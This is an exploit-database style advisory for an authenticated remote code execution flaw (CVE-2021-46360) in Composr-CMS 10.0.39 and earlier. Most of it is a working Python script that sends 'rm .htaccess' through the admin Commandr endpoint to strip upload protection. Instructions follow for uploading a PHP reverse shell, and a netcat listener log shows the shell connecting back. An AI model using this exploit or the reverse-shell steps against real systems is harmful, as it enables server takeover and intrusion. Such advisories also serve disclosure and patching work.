Authenticated Remote Code Execution in Composr-CMS Version <=10.0.39

2022.10.02
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-434


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Authenticated Remote Code Execution in Composr-CMS Version <=10.0.39 # Remote Code Execution in Composr-CMS 10.0.39 and earlier allows remote attackers to execute arbitrary code via uploading a php shell. # Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) # Date: 12th January,2022 # CVE ID: CVE-2021-46360 # Confirmed on release 10.0.39 using XAMPP on Ubuntu Linux 20.04.3 LTS # Reference: https://github.com/sartlabs/0days/blob/main/Composr-CMS/Exploit.py # Vendor: https://compo.sr/download.htm ############################################### #Step1- We should have the admin credentials, once we logged in, we can disable the php file uploading protection, you can also do this manually via Menu- Tools=>Commandr #!/usr/bin/python3 import requests from bs4 import BeautifulSoup import time cookies = { 'has_cookies': '1', 'PHPSESSID': 'ddf2e7c8ff1000a7c27b132b003e1f5c', #You need to change this as it is dynamic 'commandr_dir': 'L3Jhdy91cGxvYWRzL2ZpbGVkdW1wLw%3D%3D', 'last_visit': '1641783779', 'cms_session__b804794760e0b94ca2d3fac79ee580a9': 'ef14cc258d93a', #You need to change this as it is dynamic } headers = { 'Connection': 'keep-alive', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*', 'Origin': 'http://192.168.56.116', 'Referer': 'http://192.168.56.116/composr-cms/adminzone/index.php?page=admin-commandr', 'Accept-Language': 'en-US,en;q=0.9', } params = ( ('keep_session', 'ef14cc258d93a'), #You need to change this as it is dynamic ) data = { '_data': 'command=rm .htaccess', # This command will delete the .htaccess means disables the protection so that we can upload the .php extension file (Possibly the php shell) 'csrf_token': 'ef14cc258d93a' #You need to change this as it is dynamic } r = requests.post('http://192.168.56.116/composr-cms/data/commandr.php?keep_session=ef14cc258d93a', headers=headers, params=params, cookies=cookies, data=data, verify=False) soup = BeautifulSoup(r.text, 'html.parser') #datap=response.read() print (soup) #Step2- Now visit the Content=>File/Media Library and then upload any .php web shell ( #Step 3 Now visit http://IP_Address/composr-cms/uploads/filedump/php-reverse-shell.php and get the reverse shell: ┌─[ci@parrot]─[~] └──╼ $nc -lvvnp 4444 listening on [any] 4444 ... connect to [192.168.56.103] from (UNKNOWN) [192.168.56.116] 58984 Linux CVE-Hunting-Linux 5.11.0-44-generic #48~20.04.2-Ubuntu SMP Tue Dec 14 15:36:44 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 13:35:13 up 20:11, 1 user, load average: 0.00, 0.01, 0.03 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT user :0 :0 Thu17 ?xdm? 46:51 0.04s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --systemd --session=ubuntu uid=1(daemon) gid=1(daemon) groups=1(daemon) /bin/sh: 0: can't access tty; job control turned off $ whoami daemon $ id uid=1(daemon) gid=1(daemon) groups=1(daemon) $ pwd / $

References:

https://github.com/sartlabs/0days/blob/main/Composr-CMS


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